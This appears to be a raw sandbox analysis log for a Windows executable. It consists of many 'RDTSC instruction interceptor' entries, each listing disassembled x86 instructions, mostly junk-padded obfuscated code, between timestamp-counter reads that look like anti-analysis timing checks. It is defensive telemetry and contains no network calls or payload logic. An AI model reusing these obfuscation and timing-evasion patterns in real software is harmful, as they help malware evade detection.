Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C0AB9 second address: 76C0B06 instructions: 0x00000000 rdtsc 0x00000002 mov dx, B096h 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F8C1CD63247h 0x0000000d popad 0x0000000e push 00000001h 0x00000010 pushad 0x00000011 mov eax, 1A99771Bh 0x00000016 mov bl, al 0x00000018 popad 0x00000019 push ebp 0x0000001a jmp 00007F8C1CD63248h 0x0000001f mov dword ptr [esp], eax 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 mov bh, ch 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C0B06 second address: 76C0B38 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C1CD20402h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea eax, dword ptr [ebp-10h] 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F8C1CD20407h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C0B38 second address: 76C0B3E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C0B3E second address: 76C0B42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C0B76 second address: 76C0B93 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C1CD63249h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C0B93 second address: 76C0BB9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C1CD20401h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edi, eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F8C1CD203FDh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C0BB9 second address: 76C0C28 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C1CD63241h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test edi, edi 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F8C1CD6323Ch 0x00000012 sub cx, 2958h 0x00000017 jmp 00007F8C1CD6323Bh 0x0000001c popfd 0x0000001d mov ax, 3E0Fh 0x00000021 popad 0x00000022 js 00007F8C8B8E1D05h 0x00000028 jmp 00007F8C1CD63242h 0x0000002d mov eax, dword ptr [ebp-0Ch] 0x00000030 push eax 0x00000031 push edx 0x00000032 jmp 00007F8C1CD63247h 0x00000037 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C0C28 second address: 76C0C85 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C1CD20409h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esi+04h], eax 0x0000000c jmp 00007F8C1CD203FEh 0x00000011 lea eax, dword ptr [ebx+78h] 0x00000014 pushad 0x00000015 pushad 0x00000016 call 00007F8C1CD203FCh 0x0000001b pop ecx 0x0000001c movsx edx, si 0x0000001f popad 0x00000020 mov al, E9h 0x00000022 popad 0x00000023 push 00000001h 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007F8C1CD20402h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C0C85 second address: 76C0CD1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, 76B4h 0x00000007 mov dl, 4Ah 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F8C1CD63241h 0x00000014 or esi, 3D00D526h 0x0000001a jmp 00007F8C1CD63241h 0x0000001f popfd 0x00000020 popad 0x00000021 push eax 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 call 00007F8C1CD6323Ah 0x0000002a pop eax 0x0000002b movsx edx, si 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C0CD1 second address: 76C0D28 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C1CD203FDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a jmp 00007F8C1CD203FEh 0x0000000f lea eax, dword ptr [ebp-08h] 0x00000012 jmp 00007F8C1CD20400h 0x00000017 nop 0x00000018 jmp 00007F8C1CD20400h 0x0000001d push eax 0x0000001e jmp 00007F8C1CD203FBh 0x00000023 nop 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C0D28 second address: 76C0D43 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C1CD63247h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C0E05 second address: 76C0E25 instructions: 0x00000000 rdtsc 0x00000002 mov ecx, 0071633Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a lea eax, dword ptr [ebx+70h] 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F8C1CD20401h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C0E25 second address: 76C0E35 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8C1CD6323Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C0E35 second address: 76C0E39 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C0E39 second address: 76C0E4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push 00000001h 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F8C1CD6323Ah 0x00000011 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C0E4F second address: 76C0E5E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx esi, dx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C0E5E second address: 76C0E9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F8C1CD63247h 0x0000000a sub esi, 3665C37Eh 0x00000010 jmp 00007F8C1CD63249h 0x00000015 popfd 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C0E9B second address: 76C0EA1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C0EA1 second address: 76C0EA5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C0EA5 second address: 76C0F06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F8C1CD20400h 0x00000014 xor ecx, 3DF575A8h 0x0000001a jmp 00007F8C1CD203FBh 0x0000001f popfd 0x00000020 pushfd 0x00000021 jmp 00007F8C1CD20408h 0x00000026 jmp 00007F8C1CD20405h 0x0000002b popfd 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C0F06 second address: 76C0F5C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C1CD63241h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea eax, dword ptr [ebp-18h] 0x0000000c jmp 00007F8C1CD6323Eh 0x00000011 nop 0x00000012 pushad 0x00000013 push eax 0x00000014 mov ecx, edi 0x00000016 pop edi 0x00000017 mov si, ABE5h 0x0000001b popad 0x0000001c push eax 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 pushfd 0x00000021 jmp 00007F8C1CD6323Ch 0x00000026 adc cx, 07F8h 0x0000002b jmp 00007F8C1CD6323Bh 0x00000030 popfd 0x00000031 push ecx 0x00000032 pop ebx 0x00000033 popad 0x00000034 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C0F5C second address: 76C0F70 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8C1CD20400h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C0FFB second address: 76C103F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C1CD63241h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test edi, edi 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e movsx edi, ax 0x00000011 pushfd 0x00000012 jmp 00007F8C1CD63244h 0x00000017 adc cx, 7638h 0x0000001c jmp 00007F8C1CD6323Bh 0x00000021 popfd 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C103F second address: 76C107E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C1CD20409h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 js 00007F8C8B89EA49h 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F8C1CD20408h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C107E second address: 76C1084 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C1084 second address: 76C10D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop edi 0x00000005 mov ch, 38h 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [ebp-14h] 0x0000000d jmp 00007F8C1CD203FBh 0x00000012 mov ecx, esi 0x00000014 pushad 0x00000015 push eax 0x00000016 movsx ebx, si 0x00000019 pop ecx 0x0000001a push edx 0x0000001b mov edx, eax 0x0000001d pop eax 0x0000001e popad 0x0000001f mov dword ptr [esi+0Ch], eax 0x00000022 jmp 00007F8C1CD203FBh 0x00000027 mov edx, 762C06ECh 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 jmp 00007F8C1CD20400h 0x00000035 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C10D0 second address: 76C10D6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C10D6 second address: 76C10DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C10DC second address: 76C112D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C1CD63248h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b sub eax, eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 pushfd 0x00000013 jmp 00007F8C1CD63248h 0x00000018 xor ecx, 6BFF1BA8h 0x0000001e jmp 00007F8C1CD6323Bh 0x00000023 popfd 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C112D second address: 76C11DD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F8C1CD203FFh 0x00000009 sbb al, FFFFFFEEh 0x0000000c jmp 00007F8C1CD20409h 0x00000011 popfd 0x00000012 pushfd 0x00000013 jmp 00007F8C1CD20400h 0x00000018 jmp 00007F8C1CD20405h 0x0000001d popfd 0x0000001e popad 0x0000001f pop edx 0x00000020 pop eax 0x00000021 lock cmpxchg dword ptr [edx], ecx 0x00000025 pushad 0x00000026 mov si, BCF3h 0x0000002a pushfd 0x0000002b jmp 00007F8C1CD20408h 0x00000030 or ecx, 3EC62DF8h 0x00000036 jmp 00007F8C1CD203FBh 0x0000003b popfd 0x0000003c popad 0x0000003d pop edi 0x0000003e pushad 0x0000003f mov si, 674Bh 0x00000043 push eax 0x00000044 mov bl, B8h 0x00000046 pop ecx 0x00000047 popad 0x00000048 test eax, eax 0x0000004a push eax 0x0000004b push edx 0x0000004c jmp 00007F8C1CD20402h 0x00000051 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C11DD second address: 76C11E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C11E3 second address: 76C11E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C11E7 second address: 76C128C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jne 00007F8C8B8E1723h 0x0000000e jmp 00007F8C1CD63249h 0x00000013 mov edx, dword ptr [ebp+08h] 0x00000016 jmp 00007F8C1CD6323Eh 0x0000001b mov eax, dword ptr [esi] 0x0000001d jmp 00007F8C1CD63240h 0x00000022 mov dword ptr [edx], eax 0x00000024 pushad 0x00000025 mov dh, ch 0x00000027 pushad 0x00000028 call 00007F8C1CD63249h 0x0000002d pop ecx 0x0000002e mov si, dx 0x00000031 popad 0x00000032 popad 0x00000033 mov eax, dword ptr [esi+04h] 0x00000036 pushad 0x00000037 movsx edx, ax 0x0000003a pushfd 0x0000003b jmp 00007F8C1CD63242h 0x00000040 add ecx, 613DE108h 0x00000046 jmp 00007F8C1CD6323Bh 0x0000004b popfd 0x0000004c popad 0x0000004d mov dword ptr [edx+04h], eax 0x00000050 push eax 0x00000051 push edx 0x00000052 push eax 0x00000053 push edx 0x00000054 push eax 0x00000055 push edx 0x00000056 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C128C second address: 76C1290 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C1290 second address: 76C1294 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C1294 second address: 76C129A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C129A second address: 76C12C4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, ecx 0x00000005 mov al, F6h 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esi+08h] 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F8C1CD63249h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C12C4 second address: 76C12CA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C12CA second address: 76C1318 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F8C1CD6323Ah 0x00000009 sub eax, 61F840F8h 0x0000000f jmp 00007F8C1CD6323Bh 0x00000014 popfd 0x00000015 push esi 0x00000016 pop ebx 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a mov dword ptr [edx+08h], eax 0x0000001d pushad 0x0000001e mov si, 5C27h 0x00000022 mov cl, 93h 0x00000024 popad 0x00000025 mov eax, dword ptr [esi+0Ch] 0x00000028 pushad 0x00000029 mov ax, bx 0x0000002c mov dh, 15h 0x0000002e popad 0x0000002f mov dword ptr [edx+0Ch], eax 0x00000032 push eax 0x00000033 push edx 0x00000034 jmp 00007F8C1CD6323Fh 0x00000039 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C1318 second address: 76C1362 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C1CD20409h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esi+10h] 0x0000000c jmp 00007F8C1CD203FEh 0x00000011 mov dword ptr [edx+10h], eax 0x00000014 jmp 00007F8C1CD20400h 0x00000019 mov eax, dword ptr [esi+14h] 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C1362 second address: 76C1366 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C1366 second address: 76C1383 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C1CD20409h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C1383 second address: 76C13B4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C1CD63241h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [edx+14h], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007F8C1CD63243h 0x00000014 push esi 0x00000015 pop edi 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C13B4 second address: 76C13E5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8C1CD203FBh 0x00000008 mov ebx, eax 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov eax, dword ptr [esi+18h] 0x00000010 jmp 00007F8C1CD20402h 0x00000015 mov dword ptr [edx+18h], eax 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C13E5 second address: 76C13E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C13E9 second address: 76C13EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C13EF second address: 76C14B1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C1CD63244h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esi+1Ch] 0x0000000c pushad 0x0000000d push ecx 0x0000000e pushfd 0x0000000f jmp 00007F8C1CD6323Dh 0x00000014 adc eax, 533A59E6h 0x0000001a jmp 00007F8C1CD63241h 0x0000001f popfd 0x00000020 pop eax 0x00000021 call 00007F8C1CD63241h 0x00000026 jmp 00007F8C1CD63240h 0x0000002b pop ecx 0x0000002c popad 0x0000002d mov dword ptr [edx+1Ch], eax 0x00000030 pushad 0x00000031 pushfd 0x00000032 jmp 00007F8C1CD63247h 0x00000037 and eax, 6D5B5A7Eh 0x0000003d jmp 00007F8C1CD63249h 0x00000042 popfd 0x00000043 jmp 00007F8C1CD63240h 0x00000048 popad 0x00000049 mov eax, dword ptr [esi+20h] 0x0000004c push eax 0x0000004d push edx 0x0000004e pushad 0x0000004f mov cx, bx 0x00000052 mov di, A8BCh 0x00000056 popad 0x00000057 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C14B1 second address: 76C14FA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8C1CD20400h 0x00000008 mov eax, 50B00731h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov dword ptr [edx+20h], eax 0x00000013 pushad 0x00000014 push esi 0x00000015 mov dh, 35h 0x00000017 pop ecx 0x00000018 jmp 00007F8C1CD203FBh 0x0000001d popad 0x0000001e mov eax, dword ptr [esi+24h] 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007F8C1CD20405h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C14FA second address: 76C1500 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C1500 second address: 76C1504 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C1504 second address: 76C15C7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C1CD63243h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [edx+24h], eax 0x0000000e jmp 00007F8C1CD63246h 0x00000013 mov eax, dword ptr [esi+28h] 0x00000016 pushad 0x00000017 push ecx 0x00000018 pushfd 0x00000019 jmp 00007F8C1CD6323Dh 0x0000001e sbb ah, FFFFFFE6h 0x00000021 jmp 00007F8C1CD63241h 0x00000026 popfd 0x00000027 pop eax 0x00000028 pushfd 0x00000029 jmp 00007F8C1CD63241h 0x0000002e add ah, 00000046h 0x00000031 jmp 00007F8C1CD63241h 0x00000036 popfd 0x00000037 popad 0x00000038 mov dword ptr [edx+28h], eax 0x0000003b jmp 00007F8C1CD6323Eh 0x00000040 mov ecx, dword ptr [esi+2Ch] 0x00000043 push eax 0x00000044 push edx 0x00000045 pushad 0x00000046 pushfd 0x00000047 jmp 00007F8C1CD6323Dh 0x0000004c sub si, 8656h 0x00000051 jmp 00007F8C1CD63241h 0x00000056 popfd 0x00000057 mov bx, si 0x0000005a popad 0x0000005b rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C15C7 second address: 76C162D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, 5ADEh 0x00000007 pushad 0x00000008 popad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [edx+2Ch], ecx 0x0000000f pushad 0x00000010 push ebx 0x00000011 pushfd 0x00000012 jmp 00007F8C1CD203FCh 0x00000017 adc ch, FFFFFFA8h 0x0000001a jmp 00007F8C1CD203FBh 0x0000001f popfd 0x00000020 pop eax 0x00000021 push edi 0x00000022 call 00007F8C1CD20404h 0x00000027 pop eax 0x00000028 pop edx 0x00000029 popad 0x0000002a mov ax, word ptr [esi+30h] 0x0000002e pushad 0x0000002f mov edx, eax 0x00000031 mov si, 887Fh 0x00000035 popad 0x00000036 mov word ptr [edx+30h], ax 0x0000003a push eax 0x0000003b push edx 0x0000003c push eax 0x0000003d push edx 0x0000003e jmp 00007F8C1CD203FCh 0x00000043 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C162D second address: 76C1633 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C1633 second address: 76C1639 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C1639 second address: 76C163D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C163D second address: 76C165B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ax, word ptr [esi+32h] 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F8C1CD203FEh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C165B second address: 76C166A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C1CD6323Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C166A second address: 76C16BB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C1CD20409h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov word ptr [edx+32h], ax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007F8C1CD20403h 0x00000016 jmp 00007F8C1CD20403h 0x0000001b popfd 0x0000001c mov ax, CFFFh 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C16BB second address: 76C171C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, 1FF6h 0x00000007 mov esi, edx 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esi+34h] 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007F8C1CD6323Fh 0x00000016 or cx, 307Eh 0x0000001b jmp 00007F8C1CD63249h 0x00000020 popfd 0x00000021 call 00007F8C1CD63240h 0x00000026 mov eax, 4F9A3A51h 0x0000002b pop ecx 0x0000002c popad 0x0000002d mov dword ptr [edx+34h], eax 0x00000030 push eax 0x00000031 push edx 0x00000032 pushad 0x00000033 pushad 0x00000034 popad 0x00000035 pushad 0x00000036 popad 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C171C second address: 76C1722 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C1722 second address: 76C1726 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C1726 second address: 76C174A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test ecx, 00000700h 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F8C1CD20404h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C174A second address: 76C1750 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
